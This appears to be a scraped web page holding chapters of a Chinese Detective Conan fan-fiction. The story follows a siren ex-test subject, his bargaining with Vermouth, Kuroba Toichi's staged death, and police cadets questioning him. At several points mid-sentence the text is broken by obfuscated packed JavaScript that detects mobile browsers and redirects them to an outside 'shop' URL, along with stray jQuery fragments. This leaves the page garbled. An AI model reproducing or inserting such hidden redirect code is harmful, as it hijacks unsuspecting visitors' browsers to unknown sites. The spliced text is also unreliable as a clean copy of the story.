l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509539|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。” 飞鸟彻羽轻轻合上眼睛:“您的那个搭档,调琴的那个,最近多注意一下吧。” “你的琴,什么时候拿走?” “先放在那里吧——等有空的时候。” 但什么时候才是“有空”呢? 堂本一挥不知道。 他应了一声,知道劝不住他:“你听起来快要死了。” 飞鸟彻羽将眼睛睁开一条缝,轻笑道:“您说话可真刻薄。” 堂本一挥冷哼:“记得死之前来拿你的东西。” “知道了,”飞鸟彻羽发觉自己惹自己严肃的老师生气了,好声好气地应承道,“临死之前会来拿的。” “……你给我死外边去!” 飞鸟彻羽轻声撒娇,就像是那些小辈会在家长面前做的那样:“对不起,错了,下不干了——弹点什么吧?” “想听什么?” “随便。” 于是恢弘的管风琴声再次响起,正式那首《忒修斯之船》。 ……真小气。 * “这边就是之前练琴的琴房了。” 堂本弦也安置好三人:“家父实在走不开,问我也是一样的。” 工藤新一环视一周,琴房的墙壁上摆满了乐器,还有专门一面照片墙,挂满了黑羽彻也摆弄各式乐器和获奖的抓拍:“堂本先生会带很多学生吗?” “仅仅是上课的话,家父一手创办了‘堂本音乐学院’,日常授课肯定是必不可少的,但是要是弟子的话……在黑羽之后就再也没有了。” 萩原研二表示理解:“节哀。” “额……其实也不是那种理由啦……”堂本弦也讪笑,“黑羽十岁的时候就开始学习音乐了,在此之后的六年间,家父再也没有动过收徒的念头。” “家父的原话是:一想到之后还要面对各种朽木,我就感觉人生昏暗——艺术毕竟是太吃天赋的东西。” 工藤新一:……这种事发生在彻哥身上也不是很意外。 “那这里这么多的乐器是……” “都是黑羽的,那家伙应该是有点收集癖+囤积癖,搜罗了各式各样的乐器都一股脑地送到我们家来,堆得多了,家母就专门整理出来一间琴房,放他自己的东西。” 可以理解,鸟类是这样的。 “……独独没有钢琴呢。” 萩原研二环视一周,在琳琅满目的“藏品”中间偏偏没有看到钢琴。 这有点奇怪,尤其是在堂本全家都是主攻钢琴的前提下,除了堂本一挥先生后来转了管风琴的前提下:“你们平时没有合奏的情况吗?” “从来没有,在差不多六年期间,没有任何一次——黑羽彻也唯独拒绝和钢琴合奏。” “那关于他失踪的事情呢?你们有什么头绪吗?” “半点没有,”堂本弦也轻轻摇头,“只知道是三年前的暑假,家父本来想要带他出去法国,他拒绝说是要回家一趟,之后就联系不上了。” “他家里人呢?” “也断了联系。” 那就是有可能全家都出事了?! 告别了堂本弦也,萩原研二笑盈盈地蹲下对着工藤新一:“怎么样?小侦探?不和我们说点什么?” 19.忒修斯之船2 “啊哈哈,我应该说点什么啊?” “那天晚上我们观看采访录像的时候,小新借口出去上厕所,所以错过了一点信息:除了那次的采访之外,黑羽彻也再没有其他任何被公众所知的音频消息。” 萩原研二笑盈盈地俯下身子,和工藤新一保持平视:“但是刚刚小新反驳堂本弦也的时候说过一句话:还记得是什么吗?” 【我们在此之前有翻阅过所有公共可能找到的,黑羽彻也的演奏音频】 记忆是会骗人的东西。 “因为错过了观看视频所以不知道,至始至终有关黑羽彻也的影像只有一段,但是又信誓旦旦地表示,黑羽彻也的所有音频之中,从未使用过除了阿马蒂之外的小提琴——我想这是因为大脑在你不在的时候,通过猜测和推理,自动补全了你不在时错过的信息。” “而这导致了记忆来源的混淆——小新在别处获得的,理应只有你自己知道的独家线索,在补足视角的时候被替代成了‘所有人都应该知道的线索’。” ……手握所有线索,想要推出答案很困难。 但是在手握所有线索的前提上,从中挑选出部分重新组合,搭建成自己心仪的答案更难——这意味着要充分考虑到参与推理的每一个观众的视角,和所有可能出现的意外情况,稍有不慎透露出自己理应所知范围以外的部分,就意味着前功尽弃。 每条线索分开验证都是对的,偏偏结果不尽人意。 这就是所谓的蒙太奇式谎言。 “hagi,”松田阵平将手机举到两人面前,“班长那边来消息了。” 【约会中:三年前暑假,可能和“黑羽彻也失踪”有关的案件有且只有一起】 【约会中:@AAA萩原快送】 【约会中:转发链接“知名魔术师黑羽盗一意外亡故”】 【约会中:还有一件事,当时带队负责调查此事的警察,是毛利侦探事务所的毛利小五郎——同样是在三年前暑假辞职了。】 “这么一看,小新和黑羽长得还真是很像欸,简直就像是长大后的翻版——所以可不可以告诉我们:那天晚上,小新借口出去上厕所的时候,实际上是和谁去通风报信了?” 工藤新一看着对方那双清透的眸子:…… 完蛋:) * 警校宿舍,属于鸢尾弥生……飞鸟彻羽的那张床上,苍白头发的少年眼睫颤抖,噩梦轮转了千百次,苦主依然逃不出无边的梦魇 巨大的月亮淌下不详的血泪,低矮的墓碑好像挺立的高楼,乌鸦耳口相传着晦涩的歌谣,猩红的藤蔓被血肉滋养,开出灰白的玫瑰。 背负的羽翼上粘连着些许细短的树枝,裸露的皮肤上也有不同程度的擦伤,还有手臂上连成片的紫青的针孔,无不昭示着一点——他是组织逃跑的实验体。 月光下的小小身影割开手心,猩红的血液顺着手腕缓缓滴落,像是强力的燃料被微弱的火苗吞噬。 We can be both of God and the Devil. Since we’re trying to raise the dead against the stream of time. 贪婪地火舌不知节制的舔舐着腥甜的血液,像是打开倍速的猴面包树,迅速生长膨胀,从无生命的能量光团,衍生成初生的焰鸟。 如果有人能有幸旁观这一幕,肯定会在很久之后,为自己见证了神迹而感到惶恐。 可惜没有。 飞鸟彻羽自己都说不清楚,为了逃脱组织而滥用【潘多拉】的力量,究竟是盗取了神明的权柄,还是打开了潘多拉的魔盒。 ——可事实上,它的名字不早就给出了答案吗? 但是当时作为组织的实验体香槟,他其实也没有别的选择。 飞鸟彻羽有一双太漂亮的眼睛,左金右蓝,被火苗映照时 ,像是被正午阳光曝晒的地中海面,波光粼粼,叫人念念不忘。 但又不只如此,从这双眼睛里面可以看见太多东西: 看见火,看见永远汹涌蓬勃着的野心,和自己不值一提又无处安放的生命。 【大闹一场吧。】 于是新生的生灵应许了塞壬的愿望,乘风跃起几人高的焰影,而飞鸟彻羽扭身奔逃,将粘腻的噩梦抛在身后,被深不见五指的夜幕吞没。 “怎么想的呢?” 酒吧的悬挂电视上,“知名魔术师黑羽盗一表演事故,意外亡故”被各大电台媒体争相报道。 就连是报纸上也是占据了最醒目的模块,兴奋地宣布“神明”陨落。 攒动的蝇群像是实在饿极了,囫囵吞咽着人血馒头。 美艳风流的女郎摇着手里仅剩一口的红酒,摁熄映着火光的烟头,吐出一口飘渺的人命。 “当年一把火烧了实验室,赌上命去也要逃跑——就是为了跑的远远地,然后害死不相干的人,是不是?Champagne?” 这个称呼带着雨夜特有的粘腻和阴湿,冲破酒吧的门廊,扑面而来。 BOSS有个伟大的理想,想要消除病痛和衰老,实现长生不老青春永驻,进而解放全人类。 于是组织杀死了飞鸟彻羽的父母,时年六岁的飞鸟彻羽被掳走,打包送进实验室,为老乌鸦的伟大梦想添砖加瓦。 组织实验室里面比一般的动物园还要物种丰富,相比于各式各样的人类,仅此一例的塞壬反而是稀罕玩意。 老东西将这个实验命名为“银色子弹”,亲口给飞鸟彻羽起了个代号叫“香槟”。 说是希望可以像杀死邪祟的银色弹丸一样,革除衰老死亡的弊病;希望飞鸟彻羽能像“胜利之酒”香槟一样,给他带来期望的胜利。 狗屁。 作为回敬,飞鸟彻羽偷得组织的核心实验成果“潘多拉”,一把火将组织的“银弹”实验室送去见了上帝。 再后来,遇见当时同样在追查【潘多拉】的黑羽盗一,多了一个“黑羽彻也”的名字,一直藏到现在。 “你在指责我,Vermouth。” 飞鸟彻羽知道她想说什么。 组织的叛徒应该像被猫追捕的老鼠,狼狈地藏匿在恶臭的下水沟里苟延残喘,于无边的绝望中垂死挣扎。 一天……一天……又一天…… 直到背后的死神挥下镰刀,或者先一步被绝望吞噬。 这就是叛徒的归宿。 “是啊,你应该为此而感到愧疚。” 贝尔摩德粲然一笑,好莱坞最如日中天的影后饮尽杯中最后的一口殷红酒液,“愧疚自己为什么不藏好自己的老鼠尾巴。” “怎么?你们真真切切杀人的家伙,可以理直气壮地职责别人的罪过,想活命的——倒是成了罪无可赦的判决。” 飞鸟彻羽嫌恶地皱眉,无声地对随地释放二手烟的行为表示谴责。 “那你呢?如果我是不应该逃跑,应该安安分分死在实验室里面的王八蛋,那你是什么?一边仰人鼻息摇尾乞怜,一边沾沾自喜狺狺狂吠——你更希望别人赞扬你为科学伟大无私的奉献精神吗?” 被下了面子的贝尔摩德也不恼怒,露出那种最最恶心人的神秘主义的笑容反唇相讥:“啊啦~我希望你在面对自己弟弟的时候也能理直气壮地讲出这种话。” “这话也送给你,他可是跟在你背后叫你‘莎朗姐姐’——你该怎么给他解释,他姐姐杀了他的父亲?” 飞鸟彻羽有样学样,也露出和贝尔摩德一样的笑容,塞壬的喉咙里发出女明星莎朗·温亚德的声线,明晃晃地恶心她:“还是你要告诉他,告诉所有人:‘黑羽盗一根本没死,我是组织的二五仔,今年五十多岁,比你爸爸岁数还大。’?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534467|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “坐享其成,既要还要的家伙才应该感到愧疚。” “扪心自问莎朗,你凭什么能好好站在这里,为非作歹,杀人放火——而不是像组织的其他实验体一样,泡在玻璃罐子里,奉献自己的研究价值?” “——因为我,香槟,组织的叛徒。我偷走了潘多拉,我毁了‘银色子弹’,我承担了风险——所以你才没能像祂们一样,被榨干最后一份研究价值,死在实验台上,然后被埋进土里当花肥。” 贝尔摩德记得那场火,或者说当时的组织高层不会有人不记得: 来自地狱的业火将组织银弹实验室席卷一空,实验体,实验资料,实验成果,研究人员…… 什么都没留下。 自那以后,组织的“银色子弹”被迫停摆,而作为其中为数不多侥幸存活的实验体,莎朗·温亚德不可能脱离组织,又没有办法继续实验,所以有了组织现在的贝尔摩德。 “想想看,聪明人都应该是精致利己的——假设你能完美地完成任务,清剿组织的叛徒,追回组织的潘多拉,会发生什么?” “难道我们伟大的BOSS会褒奖你吗?” 飞鸟彻羽依然用着女明星的声线,仿佛在唱诵着赞美诗:“他当然会了,不仅如此,他还会感动于你的无私奉献,然后呢?作为‘银弹’计划唯一有结果的实验体,重启‘银弹’计划首当其冲的谁?” “没错,最该死的是组织的叛徒香槟——胆敢背叛组织的老鼠应该被千刀万剐,然后就轮到你了,莎朗。” “再后难道就此为止吗?组织不会放过和我们有牵连的任何人的,要是派过来的家伙有点善心,干净利落的赏一颗子弹,要是没有……” 飞鸟彻羽盯着贝尔摩德的双眼,说不清是预言还是诅咒:“还会有第二个香槟的,又或者是第二个贝尔摩德……” “你真是个畜牲,香槟,”贝尔摩德开枪打断塞壬的蛊惑,子弹擦过颧骨留下一条血痕,“愚弄别人的良心,你和魔鬼有什么区别?” “讲讲道理莎朗,除了我,谁还会在乎贝尔摩德的安危?难道你要对天祈祷‘上帝保佑’吗?” 【贝尔摩德】是组织这么多年来,投入人力物力的展品:有一个“长生不老”的案例,就有可能复刻一百个一千个一万个,单凭这就足够组织向各大财阀势力寻求庇护了——有钱有权的老东西,有几个能拒绝这种诱惑? 而组织一旦想要再次复刻这种神迹,就没办法绕开潘多拉。 “只有我们同样是‘银色子弹’的受害者,才能是一条绳上的蚂蚱——一荣俱荣,一毁俱毁。” “……会互相威胁的蚂蚱?” 讨厌的神秘主义,遮遮掩掩的来回绕弯子,像是螺旋上升的木制台阶,事倍功半。 “为什么不愿意坦诚一点呢?因为你在害怕?害怕BOSS?” 飞鸟彻羽有时候也很难理解贝尔摩德的脑回路。 你连留在拿你做实验的组织里都不怕,还有什么比这更可怕的? “……我们所有人都心知肚明,你,我,又或者是其他有资格接触‘银色子弹计划’的任何人:BOSS老了。也许曾经他是一头勇猛的雄狮,但是时间磨平了他的爪子,拔光了他的牙齿,松散了他的骨头,让他只能勉强撑起那张年轻皮囊自欺欺人——他现在只是一个被‘死亡’吓破胆子的糟老头子。” “而你,贝尔摩德,你在恐惧这样一个日薄西山,行将就木的……老东西?” 飞鸟彻羽像所有通俗故事里最典型的恶魔,会用华丽的语言蛊惑人心。 祂将走投无路的可怜人钉在十字架上,斩断她的归处,杀死她的前路。 璀璨的黄金左眼为她流下悲悯的眼泪,共情她的苦楚,索要她的灵魂。 卑鄙无耻,但又冠冕堂皇: “妥协退让没用,我们得赢。” 20.忒修斯之船3 “……你疯了——你发什么神经?!” “我们早该疯了。” 是了,也没什么好意外的,贝尔摩德想着。 组织不会放过潜逃的叛徒,但是香槟也没打算放过组织。 祂本就是踩着尸山血海,从地狱里爬出来的讨债鬼,命债要有鲜血来洗清。 但是对于贝尔摩德来说:“对组织不那么忠心”,和“上香槟的贼船”并不是非此即彼的迫选关系。 前者宛如头顶达摩克里斯之剑,整日惴惴不安,而后者也未必更好过些,胜率几何不说,说不定是干脆走了人生的捷径——更何况与虎谋皮,与狼共舞…… 也要做好被拆吃入腹的准备。 组织是吃人的地方,可是香槟也实在不算什么好东西。 对于他来说,活着的尚且有图谋价值的是客人,他费劲心思想要掏空对方的口袋,而死了的有利用价值的是商品,后者往往被卖了还在做着“发财”的美梦。 “……如果我拒绝呢?” 飞鸟彻羽耸肩:“我想那些有钱有权就是快要死了的老东西,会很高兴见识组织的研究成果。” 一直在吧台默默忙碌的酒保轻声掩上店门,将连绵的雨丝和微凉的秋风隔绝在外。 一场暴雨可以掩盖很多东西。 声音、气味、视线、生物痕迹…… 原本清明的,早已习惯的感官罩上一层薄薄的毛玻璃,连体温都被裹挟着一并带走,徒留一个徘徊在世间无处安放的影子。 很适合老友叙旧的天气,不是吗? 妩媚的女人点燃一支女士香烟,夹在指间,烟头明明暗暗,烟雾婷婷袅袅,模糊了飞鸟彻羽精致的眉眼。 澄亮的火光一口口将时间吞下,然后吐出燎人的烟,直到完全燃尽,只留下一个印着口红印的烟头。 “……你打算怎么做?” * 飞鸟彻羽将手臂伸出窗外,一只周身羽毛油光水滑的白颈鸦扑扇着翅膀,准备从塞壬的手腕降落。 却在临接触到的一瞬间,变成了一束包裹精致的白玫瑰,被飞鸟彻羽眼疾手快地接住。 即使飞鸟彻羽手持传说中能“长生不老,死而复生”的宝石潘多拉,自诩是“本世纪最伟大的魔法师”,也依然对这一手感到惊奇。 魔术和魔法真是两个完全不同的领域。 花瓣洁白完整,开的正是最好的时候,里面还残留着细小的水珠,是刚刚被剪下,从花店里包装好买回来的。 可是花开之后,紧接着就该败了。 “boke!boke!” 黑羽盗一一边忙着和不知道怎么抓进怀里的乌鸦搏斗,一边艰难地腾出一只手来,把从外面带回来的甜点盒子放在桌上。 “拖把”是前几年赖上飞鸟彻羽的,时不时的来飞鸟彻羽这里打秋风,脾气比飞鸟彻羽坏的有过之而无不及,平等的对所有出现在面前的生物“boke”叫,完全提供不了一丝一毫的情绪价值。 倒是很聪明,偶尔可以充当岗哨使用。 就是不知道为什么,对黑羽盗一这么看不顺眼。 飞鸟彻羽从花束里面挑出开得最好的一枝,贴着自己临时充当发簪的红珊瑚魔杖,一起簪进头发里,其他的就顺手打包塞进窗台的花瓶。 得益于塞壬的【言灵】,飞鸟彻羽可以役使周围的鸟类成为自己的耳目。 “据说,市面上卖的玫瑰,出于成本、美观等等的考虑,往往会和月季混淆——但是月季喜荤,也是处理尸体的好去处。” 就像是怪盗基德。 四天后,国际知名魔术师黑羽盗一,将会“死于”表演事故,尸骨无存。 黑羽盗一魔术不知道变了多少次,连带着poker face也早就炉火纯青,偏偏就是习惯不了飞鸟彻羽的阴间比喻。 ……虽然被比作月季还是玫瑰他都无所谓,但是飞鸟彻羽刚刚把花簪在头上了耶? “……彻在干什么?” “收拾您的骨灰盒。” 黑羽盗一:我难道看不见你在摆弄我的骨灰盒吗? “……我是问你为什么要折腾我的骨灰盒?” 明艳的阳光穿过玻璃,吻在少年白皙的后颈和苍白微卷的发丝,飞鸟彻羽背光盘腿,精巧的秘银刻刀镌刻完最后一笔,抬起头来,被单片眼镜装饰的脸上露出一种很诡异的笑容: “黑羽盗一死后,那些人肯定不会放过任何一个可能藏匿潘多拉的位置——尤其是您的坟。” 虽然之前假死是黑羽盗一、黑羽千影和飞鸟彻羽三人早就商量好的事情,但是看着少年笑得这么……核善,黑羽盗一突然就心里没底了起来。 “……我在骨灰盒内壁镌刻下了【炸死第一个打开盒子的人】的言灵,只要有人真的如我所料偷走并打开它——砰!” 本来还在担心,旧事重提会不会引发飞鸟彻羽的心理阴影,专门抽空买来飞鸟彻羽喜欢的抹茶蛋糕,准备来一场“父子密谈”的黑羽盗一:…… 看得出来他是真的很开心,完全没有预想中的创后应激反应:) 黑羽盗一顶着“浪费孩子辛辛苦苦劳动成果”的良心被谴责感,还是决定及时纠正孩子太过火的不当行为:“……撤了吧,黑羽家暂时还没有出一个炸弹犯的打算。” “我要告您诽谤:在哪里刻字完全是我自己的自由,而他们未经墓主人或者对方家属允许,就挖别人的坟,不道德还侵犯别人财产安全,顺便构成侮辱尸体罪——他们不挖不就没事了?难道去别人家偷了一把刀,然后小偷被这把刀捅死了,失主也要负责任?” 连人带盒子一起炸个稀碎,现勘能检测出来炸药成分,难道还能检测出来【言灵】? 而且说实话,搞得好像组织成天为非作歹的,还能去警察局告我一样。 到时候要是真有弱智敢去告,正好顺藤摸瓜抓抓小乌鸦。 黑羽盗一才不被飞鸟彻羽的花言巧语转移注意:“这和你非要作奸犯科没关系,为了他们难道要搭上自己的一辈子?” 飞鸟彻羽抬头掀起眼皮,一缕发丝没被簪紧,垂落下来,但又因为头发实在太长的缘故,将落不落的枕在锁骨。 “第一,您不是早就知道我是什么德行吗?第二,国际大盗1412,指责别人作奸犯科?” 塞壬一手托着腮,笑得很郁气,尾音拖得又轻又长,像是秋风吹落最后一片枯叶: “为什么觉得我还会有‘一辈子’呢?我病得要死啦,全靠潘多拉吊着命,所以临死之前多带走一个赚一个。” 黑羽盗一说不清楚当年救下飞鸟彻羽算不算是多管闲事。 飞鸟彻羽早就在不知道具体什么时候,悄悄地烂透了,但是他一直硬挺着,像是保存的太好又实在放得太久的橘子,远远看去一张完好的皮囊,离近了才能闻到水果腐烂特有的甜腻味。 也许组织的香槟早就死在哪个不知名的角落,死后万事皆空,像是一捧灰扬在空中,什么都留不下。 但是他又实在是不甘心,梗着脖子,一直死撑着,不肯认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547274|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 输又不肯安息。 于是每一个笑都要咽下一口血,每走一步都要踩着当年同批实验体的一条命。 有时午夜梦回,莫名想到他的时候,黑羽盗一会不为人知的祈祷他最好快快死去,总好过这样苟延残喘的被钝刀子割肉。 可是没办法,他也知道飞鸟彻羽不会甘心的。 理想和希望是会杀死人的乌托邦。 飞鸟彻羽只能像被肉骨头引诱的野狗,让一点可怜的希冀吊着,一辈子活在“大仇得报”的美梦里。 黑羽盗一从花瓶里抽出一支,递给他。 飞鸟彻羽接过,将那一缕瑕疵缠绕几圈,如法炮制地也簪进去,和先前如出一辙的完美。 于是又能假装什么都没发生过,不动声色地粉饰太平。 “不一样的,但是我知道劝你什么都没用,”月光下的魔术师拆开那个蛋糕盒子,切下一小块,塞进飞鸟彻羽手里,苦涩的抹茶奶油和着香脆的坚果在味蕾炸开,“先活着吧,耐心等下去,总会找到其他愿意停留的理由的。” “在那之前不许作奸犯科。” * 组织是必须要查的,胡作非为、放飞自我是不允许的——那就只好加入公安,有官方背书的调查组织。 “我需要一个完美受害人身份,来帮我混进特行组。” “特行组”全名警视厅-公安部-异常处理课-特别行动组,顾名思义,是专门处理魔法事件的特别行动小队。 因为面对事件的特殊性,外加人类在魔法方面天分的匮乏,异常处理课的成员构成非常复杂——物种意义上的复杂。 是有官方背书,又适合飞鸟彻羽“非人”身份的最好选择。 贝尔摩德承认自己有被震惊到:“一想到香槟要去当条子,就不由自主地想要为日本的未来感到担忧。” “不然你指望我去自首吗?说实话真这样,还不如干脆回组织——和BOSS殉情算了。” 继‘黑羽盗一被报复丧命’之后,觊觎潘多拉的组织找上门,对其养子痛下杀手——这样飞鸟彻羽就可以完美的以“被害人”&“事件相关人”的身份,顺理成章的介入。 飞鸟彻羽吹散眼前朦胧的烟,和贝尔摩德对上视线:“我知道你带狙击手了,现在正架枪对着我——暂且借我用用。” 子弹命中躯体的时候,空腔效应会叫每一个嘴硬的人做人的: 高速的弹丸会在血肉之躯见留下一个足以影响活动的血洞——那不是单凭意志力就可以克服的东西。 剧烈到仿佛在撕扯灵魂的剧痛像是潮水一般,将飞鸟彻羽再次淹没…… 门锁被拆掉的脆响在黑夜里显得尤为清晰,却偏偏没被主人察觉。 惨白的吊灯被一把拍开,在刺眼的灯光里,飞鸟彻羽涣散的双眼对上一双凫青色的眸子。 一双温热的手抓住少年的衣领:“鸢尾?!你怎么回事?!黑羽?飞鸟?” 该死的,名字太多一时间都不知道叫哪一个。 松田阵平关心则乱,手上没控制好力道,一不小心将少年衣领的纽扣扯了下来…… 露出扣在脖颈深处,紧紧贴合着皮肉的银色……项圈一样的东西。 不知道具体是什么,但看形状像是为了防止宠物出门乱跑咬人才会扣在脖子上的东西。 ——反正不应该出现在,自己能口吐人言的同期的脖子上。 松田阵平只觉得自己的大脑比被灯光照的惨白的墙壁还要空白。 “这是……什么东西?” 21.他飞不起来了 少年显然没有办法回复,剧烈的喘息和汹涌的泪水让他暂时失去了身体的控制权。 像是一只支离破碎又被重新拼好的瓷器,每一次痉挛都有再碎成一地废墟的危险。 松田阵平别无他法,只好将他揽进怀里,心跳贴着心跳,像是顺小动物的脊背一样,轻轻安抚他:“没关系,没关系。” ——每个人的心跳频率都不尽相同,所以当在拥抱的时候,两个人的心跳会趋近一致,从而达到安抚的目的。 而这对于塞壬来说,也是一个辨别来人的方式。 松田阵平听着他叫自己的名字,手指攥住自己胸前的衣服——即使那实在很像痛苦的呻吟: “在呢?我听着呢?” 松田阵平曾经亲眼目睹过恒星的陨落,就在自己的父亲身上。 本来是拳击冠军的父亲,因为一次意外后,一蹶不振,终日酗酒度日。 就像是一簇篝火被突然泼了一盆冷水,往日的辉煌好像是自己臆想出来的瑰丽的梦境,即使是在本人身上,都找不到一点佐证。 松田阵平心里清楚:那家伙不喜欢自己,对自己的第一印象极差。 ——因为当时他下意识地决策。 【你觉得我会吃人吗?】 扣在脖子上的东西其实根本不用回答,稍微自己动动脑子想想,就能得出答案——无非是束缚之类的东西。 用来遏制传说中的塞壬失控,用自己的【言灵】做出什么不被允许的事。 反问的语气和句式,往往会被用来表达肯定的意义: 你觉得我会吃人。 就像是那些要求他扣上束缚的人一样。 他理应讨厌我的,松田阵平如是想到。 他曾经是站在所有人视野的中央,享受聚光灯闪光灯偏爱的“黑羽彻也”,而现在,他只能带着狗项圈一样的东西,蜷缩在连尾巴都舒展不开的狭小宿舍里,独自狼狈地揪着床单掉眼泪罢了。 要是打他两拳能解决问题就好了,或者他愿意打我两拳也行。 ——就和当初的降谷零一样,他们现在不也相处的很好吗? 但是这家伙显然不是能“梆梆”两拳解决的类型,且不说他狗一样的脾气会不会适得其反,光是惨白的脸色,松田阵平都担心自己会不会被起诉蓄意谋杀。 社交苦手的小卷毛将求助的目光投向了自己的外置情商。 萩原研二正一边翻看他们那个小群的消息,一边热火朝天地打着字,百忙之中抽空抬起头来,给他一个爱莫能助的眼神:加油啊,小阵平!自己的事情要自己解决喔:D 啧。 指望不上。 没等松田阵平理出个思路,飞鸟彻羽已经缓过神来了,少年伸手将眼泪擦拭干净,默默把松田阵平推开,顺手将眼泪水抹在了松田阵平的衬衣上。 ……用过就丢,变脸真快。 刚刚哭过的缘故,飞鸟彻羽声音有些嘶哑:“现……在几点了?” “九点四十七分。” 又是加班又是梦魇,搅得飞鸟彻羽头疼:“你们比我预想中的要早了两个小时。” “我们没去和班长他们会合,提前回来了。” “你们把我的门弄坏了,要说些什么呢?” 被泪水打湿的睫毛在灯光下显得格外的浓密,颤抖着抬起眼的时候,就像是在空中翩跹的翅膀。 可是他飞不起来了。 ——他的翅膀被折断了。 “……对不起。” 似是没想到他会来这么一出,少年怔了一下:“什么?” 松田阵平微妙的直球属性在这种情况下发挥了作用:“不该在没有了解的情况下就觉得你会吃人什么的……” “嗯。” 松田阵平本来觉得再没有什么了,但是对方好像示意他继续的样子,所以他也只好硬着头皮接着说:“不该腹诽你长得像扑棱蛾子……” “嗯……嗯?!哪里像?!” 这种比喻对于塞壬来说还是太过分了,过分到要让飞鸟彻羽瞪着他那双眼尾泛红的眼睛控诉他:“哪里像蛾子?!” 松田阵平也很有探究精神,为了表示自己不是瞎起外号,一根一根掰着手指数着,主打一个真诚: “眼睛很像——蛾子也是没有眼白的。” “翅膀很像——蛾子也是毛绒的翅膀。” “颜色很像——蛾子也是全身白色的。” “尾巴很像——蛾子也是……” ……他看起来快要昏厥了。 可能当时被小阵平误会要吃人,都没有现在受到的精神创伤大。 萩原研二叹为观止,本来只是病病殃殃地掉眼泪,现在好像马上就要死于脑淤血了啊…… “停——停,关于‘蛾子’的话题就到此为止吧——我们现在有正事要处理。” 眼见着飞鸟彻羽就要恼羞成怒翻脸了,萩原研二在事态进一步恶化之前及时叫停,趁着少年还没反应过来,右手捂住他下半张脸,将少年压到自己怀里,左手攥住了两只手腕,手臂顺便锢住了他的腰。 松田阵平没反应过来,但也还是下意识地配合自己的幼驯染: 用手一边一只,抓住了他的翅膀,将腿分开压住,防止他变回尾巴抽人。 ……被三米长的尾巴抽一下,想想就有够疼的。 虽然翼展和尾长实在夸张,但是被搂在怀里的时候却是标准的少年体型:腰腿纤细,肌肉也薄,被制住了就怎么样也没有办法挣扎开。 “【言灵】的发动需要完整地讲出整个指令,但在那之前我有八百种办法打断你——所以好好沟通,好吗?” 萩原研二话毕,松开了右手。 “【s……” 早料到他没那么好说话,萩原研二腾出左手的小指,精准地戳在少年腰间的软肉上。 飞鸟彻羽哪受得了这个,双眼不敢置信的睁圆,腰身像张蓄满力的弓一样弹起,偏偏又拗不过萩原研二的力气,又被他重新拖回去。 “别那么抗拒嘛,只是几个问题而已,实在不能说也不会逼迫你的。” “不知道先说什么的话,就先讲讲,小飞鸟是从什么时候盯上我们的怎么样?” “说说看,是从哪个结点开始,决定拉我们下水的?” “喂,h ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556121|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' agi,你吓到他了。” 耳羽都膨起来了。 生理性的眼泪蓄在眼眶中要落不落,一颗泪珠碾过三颗并列的泪痣,躺在了萩原研二的虎口处。 松田阵平空出一只手将那一点晶莹的水渍擦干净……然后被那只空出的翅膀狠狠地拍在后脑勺上。 我就多余管你:) 装什么大尾巴狼,真有那个心思先从我身上滚下去吧。 “……hagi真的很生气,特别特别生气,肺都要气炸了,”萩原研二侧过脸,去蹭他膨起的耳羽,“第一次见面的时候就劫走了小阵平,把他弄进医院住了一周,不让我们联系。” 不是因为自己被骗了生气。 萩原研二一向宽以待人,但是松田阵平的事情除外。 “骗我们去调查你,把大家都拖下水——是从什么时候开始的?工藤新一?百目甜品店?笼目酒吧?浅井和人?还是更早?” 事到如今还有什么想不明白的? 至始至终一桩桩一件件,全都可以串联起来,形成一个完美的逻辑闭环——即使他不去拉琴不当警察,做编剧也是个不错的出路。 “我给了浅井一笔钱,不赌博不创业的话,够他挥霍一辈子了。” “接手异常处理课的时候,整个部门形同虚设——培养一个稳定且可用的魔法师成本过于高昂,夭折率也是所有警种中最高的,仅靠政府发拨款根本承担不起,贪污、受贿更是屡见不鲜。” “所以我花钱费力,浪费了两年的时间,重塑那个烂摊子,在各个人员密集的点都设置了检测点——当然,检测点在我来之前就已经有了,只是没那么成规模。” “诸伏身边跟着的那个小鬼,你们都见过吧?根据异常处理课的鉴定,跟着他有大概十五年左右。” “直到这次之前,没有任何一处地区的任何一处监察点,有反馈过哪怕一次,”飞鸟彻羽挑眉,罕见地动了真火,“有人在我的眼皮子底下截断了消息,这次的纰漏是个太好的机会——正好可以借着这个机会杀菌灭虫。” “但是具体做到什么程度,什么时间结案,不是我靠言灵就可以把握的——我需要你们帮忙。” 飞鸟彻羽有些古怪地看着松田阵平:“况且我也没有先斩后奏——你们不是早就同意了吗?” “我们什么时候……?” 